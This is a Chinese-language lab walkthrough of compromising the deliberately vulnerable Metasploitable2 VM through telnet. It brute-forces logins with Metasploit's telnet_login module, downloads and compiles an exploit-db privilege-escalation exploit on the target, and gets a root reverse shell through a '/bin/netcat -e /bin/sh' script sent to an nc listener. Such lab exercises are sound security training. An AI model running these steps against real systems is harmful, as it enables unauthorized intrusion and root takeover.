0x00 简介
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。
工具:kali下的Metasploit
靶机:Metasploitable2
环境:
kali:192.168.84.137
靶机:192.168.84.141
0x01 Telnet介绍
Telnet协议是TCP/IP协议族中的一员,是internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。
虽然telnet较为简单实用也很方便,但是在格外注重安全的现代网络技术中,telnet并不被重用。原因在于telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都以明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用telnet服务。如果我们要使用telnet的远程登录,使用前应在远端服务器上检查并设置允许telnet服务的功能。
Telnet服务端默认情况下使用23端口。
0x02 Telent的登录提权
首先就是nmap对靶机进行23端口的扫描。
扫描之后,可以知道23端口是开启的。
那么启动Metasploit,直接命令行输入msfconsole。
首先使用telnet_version模块来探测telnet的版本信息。
可以在倒数第三行看到用户名和密码都是msfadmin。
再使用telnet_login模块,进行telnet用户名密码的暴力破解,因为早已知道该靶机的用户名和密码都是msfadmin,所有我在使用该模块进行登录,就很快。。。。
use auxiliary/scanner/telnet/telnet_login
该模块的用户名密码只能通过文件来进行设置,不能指定用户名密码,其他的都差不多。
进行攻击后拿到一个shell。
但是这个shell的权限还是很低,就是msfadmin用户的权限,并不是root权限。
此处就介绍一下sessions -u 对应会话ID
可以通过此命令来尝试拿到meterpreter shell。
进行连接会话2,查看权限。
利用exp获取root权限
拿到普通shell。尝试从www.exploit-db.com下载exp。
但是发现因为该网址是https,导致下载失败。
所以为了解决这个问题,就先在kali上下载exp,再用shell从kali处下载exp。
kali上运行
wget https://www.exploit-db.com/download/8572
并使用mv命令将其改名为test.c。
接下来有两种方式,让shell能够从kali处下载test.c。
一是使用python的模块(python2的环境)
python -m SimpleHTTPServer(python2的环境)
python -m http.server(python3的环境)
并在下载的地址后面加上端口号8000即可。
二是开启apache2服务
service apache2 start
并将test.c移动到/var/www/html目录下,才能让shell进行下载。
将test.c下载到靶机后,就是编译运行了。
在编译的地方可能会出现下面的问题
英语不好,就不翻译了,不过解决的方法是在kali上将test.c文件打开,在末尾处多按几个回车键即可。
报错前的test.c文件:
修改后的test.c文件:
然后再重新从kali处下载就好了。
先nc监听:nc -lvp 4444(端口号随意,只需要和下面的端口号一样即可)
就是以下的操作:
gcc 源文件 -o exploit echo '#!/bin/sh' > /tmp/run echo '/bin/netcat -e /bin/sh ip nc的监听端口' >> /tmp/run ps aux | grep udev 执行exploit 具有root权限的pid减1 ./exploit 数字pid减1
运行完之后,监听端口反弹shell,拿到root权限。
拿到权限后,可以使用python -c 'import pty;pty.spawn("/bin/bash")'来获取伪终端。